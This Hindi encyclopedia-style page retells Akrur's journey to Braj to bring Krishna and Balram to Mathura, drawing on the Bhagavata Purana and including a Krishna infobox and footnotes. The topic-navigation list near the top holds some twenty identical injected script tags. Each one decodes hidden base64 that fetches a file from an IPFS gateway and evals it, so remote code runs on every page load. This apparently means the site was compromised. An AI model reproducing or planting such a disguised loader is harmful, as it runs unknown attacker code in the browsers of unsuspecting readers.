अक्रूर की ब्रजयात्रा

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कृष्ण विषय सूची
कृष्ण   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> इतिहास में कृष्ण   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कृष्ण जन्म   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> बाललीला   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> गोवर्धन लीला   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> रासलीला   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अक्रूर की यात्रा   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> मथुरा आगमन   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कुवलयापीड़ वध   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कंस वध   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कृष्ण जरासंध युद्ध   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> द्वारका निर्माण   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कृष्ण और पांडव   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शिशुपाल वध   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कृष्ण और महाभारत   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> द्वारका जीवन   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> वृष्णि संघ   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कृष्ण नारद संवाद   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> यदुवंश का नाश   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अंतिम समय
संक्षिप्त परिचय
अक्रूर की ब्रजयात्रा
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अन्य नाम वासुदेव, मोहन, द्वारिकाधीश, केशव, गोपाल, नंदलाल, बाँके बिहारी, कन्हैया, गिरधारी, मुरारी, मुकुंद, गोविन्द, यदुनन्दन, रणछोड़ आदि
अवतार सोलह कला युक्त पूर्णावतार (विष्णु)
वंश-गोत्र वृष्णि वंश (चंद्रवंश)
कुल यदुकुल
पिता वसुदेव
माता देवकी
पालक पिता नंदबाबा
पालक माता यशोदा
जन्म विवरण भाद्रपद, कृष्ण पक्ष, अष्टमी
समय-काल महाभारत काल
परिजन रोहिणी (विमाता), बलराम (भाई), सुभद्रा (बहन), गद (भाई)
गुरु संदीपन, आंगिरस
विवाह रुक्मिणी, सत्यभामा, जांबवती, मित्रविंदा, भद्रा, सत्या, लक्ष्मणा, कालिंदी
संतान प्रद्युम्न, अनिरुद्ध, सांब
विद्या पारंगत सोलह कला, चक्र चलाना
रचनाएँ 'गीता'
शासन-राज्य द्वारिका
संदर्भ ग्रंथ 'महाभारत', 'भागवत', 'छान्दोग्य उपनिषद'।
मृत्यु पैर में तीर लगने से।
संबंधित लेख कृष्ण जन्म घटनाक्रम, कृष्ण बाललीला, गोवर्धन लीला, कृष्ण बलराम का मथुरा आगमन, कंस वध, कृष्ण और महाभारत, कृष्ण का अंतिम समय

कृष्ण बचपन में ही कई आकस्मिक दुर्घटनाओं का सामना करने तथा कंस के षड़यंत्रों को विफल करने के कारण बहुत लोकप्रिय हो गये थे। सारे ब्रज में इस छोटे वीर बालक के प्रति विशेष महत्त्व पैदा हो गया था, किन्तु दूसरी ओर मथुरा का राजा कंस कृष्ण की इस ख्याति से घबरा रहा था और समझ रहा था कि एक दिन अपने ऊपर भी सकंट आ सकता है।

साम्राज्यवादी कंस ने अन्त में कूटनीति की शरण ली और दानपति अक्रूर के द्वारा धनुर्याग के बहाने कृष्ण-बलराम को मथुरा बुलाने का विचार किया। अक्रूर अपने समय में अंधक-वृष्णि संघ के एक वर्ग का प्रसिद्ध नेता था। संभवत: वह बहुत ही कुशल और व्यावहारिक ज्ञान सम्पन्न पुरुष था। कंस को उस समय ऐसे ही एक चतुर और विश्वस्त व्यक्ति की आवश्यकता थी।

कंस ने पहले धनुर्याग की तैयारी कर ली और फिर अक्रुर को कृष्ण-बलराम को मथुरा ले आने के लिए गोकुल भेजा।[1] अक्रूर के कुछ पूर्व केशी कृष्ण के वधार्थ ब्रज पहुँच चुका था, परंतु कृष्ण ने उसे भी मार डाला।[2] केशी को मारने से कृष्ण का नाम 'केशव' हुआ। पुराणों के अनुसार केशी घोड़े का रूप बनाकर कृष्ण को मारने गया था।[3]

श्रीमद्भागवत महापुराण का उल्लेख

'श्रीमद्भागवत महापुराण'[4] के अनुसार- श्रीशुकदेवजी कहते हैं- परीक्षित! महामती अक्रूरजी भी वह रात मथुरापुरी में बिताकर प्रातःकाल होते ही रथपर सवार हुए और नन्दबाबा के गोकुल की ओर चल दिये। परम भाग्यवान अक्रूरजी ब्रज की यात्रा करते समय मार्ग में कमलनयन भगवान श्रीकृष्ण की परम प्रेममयी भक्ति से परिपूर्ण हो गये। वे इस प्रकार सोंचने लगे- "मैंने ऐसा कौन-सा शुभ कर्म किया है, ऐसी कौन-सी श्रेष्ठ तपस्या की है अथवा किसी सत्पात्र को ऐसा कौन-सा महत्वपूर्ण दान दिया है, जिसके फलस्वरूप आज मैं भगवान श्रीकृष्ण के दर्शन करूँगा। मैं बड़ा विषयी हूँ। ऐसी स्थितियों में, बड़े-बड़े सात्विक पुरुष भी जिनके गुणों का ही गान करते रहते हैं, दर्शन नहीं कर पाते, उन भगवान के दर्शन मेरे लिये अत्यन्त दुर्लभ हैं, ठीक वैसे ही, जैसे शूद्र्कुल के बालक के लिये वेदों का कीर्तन। परन्तु नहीं, मुझ अधम को भी भगवान श्रीकृष्ण के दर्शन होंगे ही। क्योंकि जैसे नदी में बहते हुए तिनके कभी-कभी इस पार से उस पार लग जाते हैं, वैसे ही समय के प्रवाह से भी कहीं कोई इस संसार सागर को पार कर सकता है। अवश्य ही आज मेरे सारे अशुभ नष्ट हो गये। आज मेरा जन्म सफल हो गया। क्योंकि आज मैं भगवान के उन चरणकमलों में साक्षात नमस्कार करूँगा, जो बड़े-बड़े योगी-यतियों के भी केवल ध्यान के ही विषय हैं। अहो! कंस ने आज मेरे ऊपर बड़ी ही कृपा की है। उसी कंस के भेजने से मैं इस भूतल पर अवतीर्ण स्वयं भगवान के चरणकमलों के दर्शन पाउँगा। जिनके नभमण्डल की कान्ति का ध्यान करके पहले युगों के ऋषि-महर्षि इस अज्ञान रूप अपार अन्धकार-राशि को पार कर चुके हैं, स्वयं वही भगवान तो अवतार ग्रहण करके प्रकट हुए हैं। ब्रह्मा, शंकर, इन्द्र आदि बड़े-बड़े देवता जिन चरणकमलों की उपासना करते रहते हैं, स्वयं भगवती लक्ष्मी एक क्षण के लिये भी जिनकी सेवा नहीं छोड़तीं, प्रेमी भक्तों के साथ बड़े-बड़े ज्ञानी भी जिनकी आराधना में संलग्न रहते हैं, भगवान के वे ही चरणकमल गौओं को चराने के लिये ग्वालबालों के साथ वन-वन में विचरते हैं। वे ही सुर-मुनि, वन्दित श्रीचरण गोपियों के वक्षःस्थल पर लगी हुई केसर से रँग जाते हैं, चिन्हित हो जाते हैं, मैं अवश्य-अवश्य उनका दर्शन करूँगा। मरकतमणि के समान सुस्निग्ध कान्तिमान् उनके कोमल कपोल हैं, तोते की ठोर के समान नुकीली नासिका है, होंठों पर मन्द-मन्द मुसकान, प्रेमभरी चितवन, कमल-से-कोमल रतनारे लोचन और कपोलों पर घुँघराली अलकें लटक रही हैं। मैं प्रेम और मुक्ति के परम दानी श्रीमुकुन्द के उस मुखकमल का आज अवश्य दर्शन करूँगा। क्योंकि हरिन मेरी दायीं ओर से निकल रहे हैं। भगवान विष्णु पृथ्वी का भार उतारने के लिये स्वेच्छा से मनुष्य की-सी लीला कर रहे हैं। वे सम्पूर्ण लावण्य के धाम हैं। सौन्दर्य की मूर्तिमान निधि हैं। आज मुझे उन्हीं का दर्शन होगा। अवश्य होगा। आज मुझे सहज में ही आँखों का फल मिल जायगा।

भगवान इस कार्य-कारणरूप जगत् के दृष्टामात्र हैं, और ऐसा होने पर भी दृष्टापन का अहंकार उन्हें छू तक नहीं गया है। उनकी चिन्मयी शक्ति से अज्ञान के कारण होने वाला भेदभ्रम अज्ञान सहित दूर से ही निरस्त रहता है। वे अपनी योगमाया से ही अपने-आप में भ्रूविलास मात्र से प्राण, इन्द्रिय और बुद्धि आदि के सहित अपने-अपने स्वरूप भूत जीवों की रचना कर लेते हैं और उनके साथ वृन्दावन की कुंजों में तथा गोपियों के घरों में तरह-तरह की लीलाएँ करते हुए प्रतीत होते हैं। जब समस्त पापों के नाशक उनके परम मंगलमय गुण, कर्म और जन्म की लीलाओं से युक्त होकर वाणी उनका गान करती है, तब उस गान से संसार में जीवन की स्फूर्ति होने लगती है, शोभा का संचार हो जाता है, सारी अपवित्रताएँ धुलकर पवित्रता का साम्राज्य छा जाता है; परन्तु जिस वाणी से उनके गुण, लीला और जन्म की कथाएँ नहीं गायी जातीं, वह तो मुर्दों को ही शोभित करने वाली है, होने पर भी नहीं के समान-व्यर्थ है। जिनके गुणगान का ही ऐसा माहात्म्य है, वे ही भगवान स्वयं यदुवंश में अवतीर्ण हुए हैं। किसलिये? अपनी ही बनायी मर्यादा का पालन करने वाले श्रेष्ठ देवताओं का कल्याण करने के लिये। वे ही परम ऐश्वर्यशाली भगवान आज ब्रज में निवास कर रहे हैं। उनका यश कितना पवित्र है! अहो, देवता लोग भी उस सम्पूर्ण मंगलमय यश का गान करते रहते हैं। इसमें सन्देह नहीं कि आज मैं अवश्य ही उन्हें देखूँगा। वे बड़े-बड़े संतों और लोकपालों के भी एकमात्र आश्रय हैं। सबके परम गुरु हैं। और उनका रूप-सौन्दर्य तीनों लोकों के मन को मोह लेने वाला है। जो नेत्र वाले हैं, उनके लिये वह आनन्द और रस की चरम सीमा हैं। इसी से स्वयं लक्ष्मीजी भी, जो सौन्दर्य की अधीश्वरी हैं, उन्हें पाने के लिये ललकती रहती हैं। हाँ, तो मैं उन्हें अवश्य देखूँगा। क्योंकि आज मेरा मंगल-प्रभात है, आज मुझे प्रातःकाल से ही अच्छे-अच्छे शकुन दीख रहे हैं। जब मैं उन्हें देखूँगा तब सर्वश्रेष्ठ पुरुष बलराम तथा श्रीकृष्ण के चरणों में नमस्कार करने के लिये तुरंत रथ से कूद पडूँगा। उनके चरण पकड़ लूँगा।

ओह! उनके चरण कितने दुर्लभ हैं। बड़े-बड़े योगी-यति आत्म-साक्षात्कार के लिये मन-ही-मन अपने हृदय में उनके चरणों की धारणा करते हैं और मैं तो उन्हें प्रत्यक्ष पा जाऊँगा और लोट जाऊँगा उन पर। उन दोनों के साथ ही उनके वनवासी सखा एक-एक ग्वालबाल के चरणों की भी वन्दना करूँगा। मेरे अहोभाग्य! जब मैं उनके चरण-कमलों में गिर जाऊँगा, तब क्या वे अपना करकमल मेरे सिर पर रख देंगे? उनके वे करकमल उन लोगों को सदा के लिये अभयदान दे चुके हैं, जो कामरूपी साँप के भय से अत्यन्त घबड़ाकर उनकी शरण चाहते और शरण में आ जाते हैं। इन्द्र तथा दैत्यराज बलि ने भगवान के उन्हीं करकमलों में पूजा की भेंट समर्पित करके तीनों लोकों का प्रभुत्व-इन्द्रपद प्राप्त कर लिया। भगवान के उन्हीं करकमलों ने, जिनमें से दिव्य कमल की-सी सुगन्ध आया करती है, अपने स्पर्श से रासलीला के समय ब्रजयुवतियों की सारी थकान मिटा दी थी।

मैं कंस का दूत हूँ। उसी के भेजने से उनके पास जा रहा हूँ। कहीं वे मुझे अपना शत्रु तो न समझ बैठेंगे? राम-राम! वे ऐसा कदापि नहीं समझ सकते। क्योंकि वे निर्विकार हैं, सम हैं, अच्युत हैं, सारे विश्व के साक्षी हैं, सर्वज्ञ हैं, वे चित्त के बाहर भी हैं और भीतर भी। वे क्षेत्रज्ञ रूप से स्थित होकर अन्तःकरण की एक-एक चेष्टा को अपनी निर्मल ज्ञान-दृष्टि के द्वारा देखते रहते हैं। तब मेरी शंका व्यर्थ हैं। अवश्य ही मैं उनके चरणों में हाथ जोड़कर विनीतभाव से खड़ा हो जाऊँगा। वे मुसकराते हुए दयाभरी स्निग्ध दृष्टि से मेरी ओर देखेंगे। उस समय मेरे जन्म-जन्म के समस्त अशुभ संस्कार उसी क्षण नष्ट हो जायँगे और मैं निःशंक होकर सदा के लिये परमानन्द में मग्न हो जाऊँगा। मैं उनके कुटुम्ब का हूँ और उनका अत्यन्त हित चाहता हूँ। उनके सिवा और कोई मेरा आराध्यदेव भी नहीं है। ऐसी स्थिति में वे अपनी लंबी-लंबी बाँहों से पकड़कर मुझे अवश्य अपने हृदय से लगा लेंगे। अहा! उस समय मेरी तो देह पवित्र होगी ही, वह दूसरों को पवित्र करने वाली भी बन जायगी और उसी समय-उनका आलिंगन प्राप्त होते ही-मेरे कर्ममय बन्धन, जिनके कारण मैं अनादिकाल से भटक रहा हूँ, टूट जायँगे। जब वे मेरा आलिंगन कर चुकेंगे और मैं हाथ जोड़, सिर झुकाकर उनके सामने खड़ा हो जाऊँगा। तब वे मुझे ‘चाचा अक्रूर!’ इस प्रकार कहकर सम्बोधन करेंगे। क्यों न हो, इसी पवित्र और मधुर यश का विस्तार करने के लिये ही तो वे लीला कर रहे हैं। तब मेरा जीवन सफल हो जायगा। भगवान श्रीकृष्ण ने जिसको अपनाया नहीं, जिसे आदर नहीं दिया, उसके उस जन्म को, जीवन को धिक्कार है। न तो उन्हें कोई प्रिय है और न तो अप्रिय। न तो उनका कोई आत्मीय सुहृद् है और न तो शत्रु। उनकी उपेक्षा का पात्र भी कोई नहीं है। फिर भी जैसे कल्पवृक्ष अपने निकट आकर याचना करने वालों को उनकी मुँहमाँगी वस्तु देता है, वैसे ही भगवान श्रीकृष्ण भी, जो उन्हें जिस प्रकार भजता है, उसे उसी रूप में भजते हैं, वे अपने प्रेमी भक्तों से ही पूर्ण प्रेम करते हैं। मैं उनके सामने विनीत भाव से सिर झुकाकर खड़ा हो जाऊँगा और बलरामजी मुसकराते हुए मुझे अपने हृदय से लगा लेंगे और फिर मेरे दोनों हाथ पकड़कर मुझे घर के भीतर ले जायँगे। वहाँ सब प्रकार से मेरा सत्कार करेंगे। इसके बाद मुझसे पूछेंगे कि ‘कंस हमारे घरवालों के साथ कैसा व्यवहार करता है?।"

श्रीशुकदेवजी कहते हैं- परीक्षित! श्वफल्कनन्दन अक्रूर मार्ग में इसी चिन्तन में डूबे-डूबे रथ से नन्दगाँव पहुँच गये और सूर्य अस्ताचल पर चले गये। जिनके चरणकमल की रज का सभी लोकपाल अपने किरीटों के द्वारा सेवन करते हैं, अक्रूरजी ने गोष्ठ में उनके चरणचिन्हों के दर्शन किये। कमल, यव, अंकुश आदि असाधारण चिन्हों के द्वारा उनकी पहचान हो रही थी और उनसे पृथ्वी की शोभा बढ़ रहीं थी। उन चरणचिन्हों के दर्शन करते ही अक्रूरजी के हृदय में इतना आह्लाद हुआ कि वे अपने को सँभाल न सके, विह्वल हो गये। प्रेम के आवेग से उनका रोम-रोम खिल उठा, नेत्रों में आँसू भर आये और टप-टप टपकने लगे। वे रथ से कूद-कर उस धूलि में लोटने लगे और कहने लगे- "अहो! यह हमारे प्रभु के चरणों की रज है।"

परीक्षित! कंस के सन्देश से लेकर यहाँ तक अक्रूरजी के चित्त की जैसी अवस्था रही है, यही जीवों के देह धारण करने का परम लाभ है। इसलिये जीवमात्र का यही परम कर्तव्य है कि दम्भ, भय और शोक त्यागकर भगवान की मूर्ति[5] चिन्ह, लीला, स्थान तथा गुणों के दर्शन-श्रवण आदि के द्वारा ऐसा ही भाव सम्पादन करें।

ब्रज में पहुँचकर अक्रूरजी ने श्रीकृष्ण और बलराम दोनों भाइयों को गाय दुहने के स्थान में विराजमान देखा। श्यामसुन्दर श्रीकृष्ण पीताम्बर धारण किये हुए थे और गौरसुन्दर बलराम नीलाम्बर। उनके नेत्र शरत्कालीन कमल के समान खिले हुए थे। उन्होंने अभी किशोर-अवस्था में प्रवेश ही किया था। वे दोनों गौर-श्याम निखिल सौन्दर्य की खान थे। घुटनों का स्पर्श करने वाली लंबी-लंबी भुजाएँ, सुन्दर बदन, परम मनोहर और गजशावक के समान ललित चाल थी। उनके चरणों में ध्वजा, वज्र, अंकुश और कमल के चिन्ह थे। जब वे चलते थे, उनसे चिन्हित होकर पृथ्वी शोभायमान हो जाती थी। उनकी मन्द-मन्द मुसकान और चितवन ऐसी थी मानो दया बरस रही हो। वे उदारता की तो मानो मूर्ति ही थे। उनकी एक-एक लीला उदारता और सुन्दर कला से भरी थी। गले में वनमाला और मणियों के हार जगमगा रहे थे। उन्होंने अभी-अभी स्नान करके निर्मल वस्त्र पहने थे और शरीर में पवित्र अंगराग तथा चन्दन का लेप किया था।

परीक्षित! अक्रूर ने देखा कि जगत् के आदिकारण, जगत् के परमपति, पुरुषोत्तम ही संसार की रक्षा के लिये अपने सम्पूर्ण अंशो से बलरामजी और श्रीकृष्ण के रूप में अवतीर्ण होकर अपनी अंगकान्ति से दिशाओं का अन्धकार दूर कर रहे हैं। वे ऐसे भले मालूम होते थे, जैसे सोने से मढ़े हुए मरकतमणि और चाँदी के पर्वत जगमगा रहे हों। उन्हें देखते ही अक्रूरजी प्रेमावेग से अधीर होकर रथ से कूद पड़े और भगवान श्रीकृष्ण तथा बलराम के चरणों के पास साष्टांग लोट गये। परीक्षित! भगवान के दर्शन से उन्हें इतना आह्लाद हुआ कि उनके नेत्र आँसू से सर्वथा भर गये। सारे शरीर में पुलकावली छा गयी। उत्कण्ठावश गला भर आने के कारण वे अपना नाम भी न बतला सके। शरणागतवत्सल भगवान श्रीकृष्ण उनके मन का भाव जान गये। उन्होंने बड़ी प्रसन्नता से चक्रांकित हाथों के द्वारा उन्हें खींचकर उठाया और हृदय से लगा लिया। इसके बाद जब वे परम मनस्वी श्रीबलरामजी के सामने विनीत भाव से खड़े हो गये, तब उन्होंने उनको गले लगा लिया और उनका एक हाथ श्रीकृष्ण ने पकड़ा तथा दूसरा बलरामजी ने। दोनों भाई उन्हें घर ले गये।

घर ले जाकर भगवान ने उनका बड़ा स्वागत-सत्कार किया। कुशल-मंगल पूछकर श्रेष्ठ आसन पर बैठाया और विधिपूर्वक उनके पाँव पखारकर मधुपर्क[6] आदि पूजा की सामग्री भेंट की। इसके बाद भगवान ने अतिथि अक्रूरजी को एक गाय दी और पैर दबाकर उनकी थकावट दूर की तथा बड़े आदर एवं श्रद्धा से उन्हें पवित्र और अनेक गुणों से युक्त अन्न का भोजन कराया। जब वे भोजन कर चुके, तब धर्म के परम मर्मज्ञ बलरामजी ने बड़े प्रेम से मुखवास[7] और सुगन्धित माला आदि देकर उन्हें अत्यन्त आनन्दित किया। इस प्रकार सत्कार हो चुकने पर नन्दरायजी ने उनके पास आकर पूछा- "अक्रूरजी! आप लोग निर्दयी कंस के जीते-जी किस प्रकार अपने दिन काटते हैं? अरे! उसके रहते आप लोगों की वही दशा है, जो कसाई द्वारा पाली हुई भेड़ों की होती है। जिस इन्द्रियाराम पापी ने अपनी बिलखती हुई बहन के नन्हें-नन्हें बच्चों को मार डाला। आप लोग उसकी प्रजा हैं। फिर आप सुखी हैं, यह अनुमान तो हम कर ही कैसे सकते हैं? अक्रूरजी ने नन्दबाबा से पहले ही कुशल-मंगल पूछ लिया था। जब इस प्रकार नन्दबाबा ने मधुर वाणी से अक्रूरजी से कुशल-मंगल पूछा और उनका सम्मान किया तब अक्रूरजी के शरीर में रास्ता चलने की जो कुछ थकावट थी, वह सब दूर हो गयी।



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टीका टिप्पणी और संदर्भ

  1. हरिवंशपुराण 79; ब्रह्मांडपुराण 190, 1-21; विष्णुपुराण 15, 1-24; भागवत पुराण. 36, 16,16-34 आदि। हरिवंश पुराण के अनुसार कंस ने अक्रूर को भेजने के पहले वसुदेव को बुरा-भला कहा और उन्हें ही अपने और कृष्ण के बीच वैमनस्य उत्पन्न करने वाला कहा। ब्रह्मांडपुराण और विष्णुपुराण के अनुसार कंस ने अकूर को छोड़कर सभी यादवों के वध की प्रतिज्ञा की।
  2. हरिवंशपुराण के वर्णन से प्रतीत होता है कि केशी दैत्य को कंस का परम प्रिय भाई या मित्र था।
  3. ब्रह्मांडपुराण 190,22-48, भागवतपुराण 37, 1-25; विष्णुपुराण 16, 1-28।
  4. दशम स्कन्ध, अध्याय 38, श्लोक 1-43
  5. प्रतिमा, भक्त आदि।
  6. शहद मिला हुआ दही
  7. पान-इलायची आदि।

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